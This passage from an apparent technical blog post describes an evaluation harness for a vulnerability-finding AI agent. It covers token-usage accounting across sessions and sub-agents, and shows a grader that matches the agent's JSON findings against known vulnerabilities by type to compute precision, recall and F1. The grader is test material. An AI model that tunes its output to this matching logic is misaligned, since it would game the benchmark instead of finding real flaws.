#C9D1D9&quot;&gt;cache_read_input_tokens&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}:${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;cache_creation_input_tokens&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (lastUsagePerSession.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(sessionKey) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; usageKey) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      lastUsagePerSession.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(sessionKey, usageKey);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      totalTurns&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      totalInputTokens &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; usage.input_tokens &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ... etc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;parent_tool_use_id&lt;/code&gt; field also handles sub-agent sessions. When Claude uses the built-in &lt;code&gt;Agent&lt;/code&gt; tool to spawn a nested sub-agent, that sub-session’s messages stream through the same iterator but with &lt;code&gt;parent_tool_use_id&lt;/code&gt; set. We want to count their tokens (real API cost) but deduplicate correctly within each session level.&lt;/p&gt;
&lt;h3 id=&quot;understanding-the-four-token-fields&quot;&gt;Understanding the four token fields&lt;/h3&gt;
&lt;p&gt;The Anthropic API reports four token types. They have different billing rates and mean different things:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Turn 1: system prompt + user message&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  input_tokens:                 3    ← new non-cached tokens (full input rate)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  cache_creation_input_tokens:  2521 ← written to cache (~125% of input rate)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  cache_read_input_tokens:      7324 ← served from cache (~10% of input rate)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  output_tokens:                8    ← Claude&apos;s generated tokens (output rate)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Turn 2: tool results added&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  input_tokens:                 1    ← almost nothing new (everything else cached)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  cache_creation_input_tokens:  3557 ← new tool results get cached&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  cache_read_input_tokens:      9845 ← growing cache serves prior context&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  output_tokens:                46&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;input_tokens&lt;/code&gt; field is &lt;em&gt;only&lt;/em&gt; the new non-cached tokens per turn. With prompt caching active (which happens automatically when the prefix is &gt;1,024 tokens), almost all context is served from cache — so &lt;code&gt;input_tokens&lt;/code&gt; might be 1–3 tokens per turn while &lt;code&gt;cache_read_input_tokens&lt;/code&gt; grows to hundreds of thousands.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The total shown in the report (&lt;code&gt;Tokens: N total&lt;/code&gt;) adds all four fields.&lt;/strong&gt; This is “total context consumed”, not cost — because cache reads bill at 10% and cache writes at 125%, the actual dollar cost requires weighting each field by its rate.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-6-scoring&quot;&gt;Step 6: Scoring&lt;/h2&gt;
&lt;h3 id=&quot;find-vulns-structured-output--matching&quot;&gt;find-vulns: structured output + matching&lt;/h3&gt;
&lt;p&gt;The system prompt tells the agent to end its response with a JSON block:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;FINDINGS_JSON:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;```json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &quot;type&quot;: &quot;sql-injection&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &quot;file&quot;: &quot;app.js&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &quot;line&quot;: 24,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &quot;severity&quot;: &quot;critical&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    &quot;description&quot;: &quot;User input concatenated into SQL query&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;```&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The scorer parses this and matches against the ground truth by vulnerability type:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;scoreFindVulns&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;agentOutput&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;task&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;EvalTask&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;FindVulnsDetails&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;agentFindings&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;parseFindings&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(agentOutput);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;knownVulns&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; task.knownVulns;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;truePositives&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;matchedKnownIds&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;found&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; agentFindings) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Match by type — normalize aliases (&quot;SQL Injection&quot; → &quot;sql-injection&quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;match&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; knownVulns.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;kv&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;matchedKnownIds.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;has&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(kv.id) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;vulnTypesMatch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(kv.type, found.type)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (match) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      truePositives.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(match.id);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      matchedKnownIds.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(match.id);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;falsePositives&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; agentFindings.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; truePositives.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;falseNegatives&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; knownVulns.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;kv&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;matchedKnownIds.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;has&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(kv.id)).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;kv&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; kv.id);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;precision&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; agentFindings.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; truePositives.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; agentFindings.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;recall&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; knownVulns.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; truePositives.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; knownVulns.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { agentFindings, truePositives, falsePositives, falseNegatives, precision, recall };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// F1: harmonic mean of precision and recall&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;findVulnsScore&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;details&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;FindVulnsDetails&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;precision&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;recall&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; details;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (precision &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; recall &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
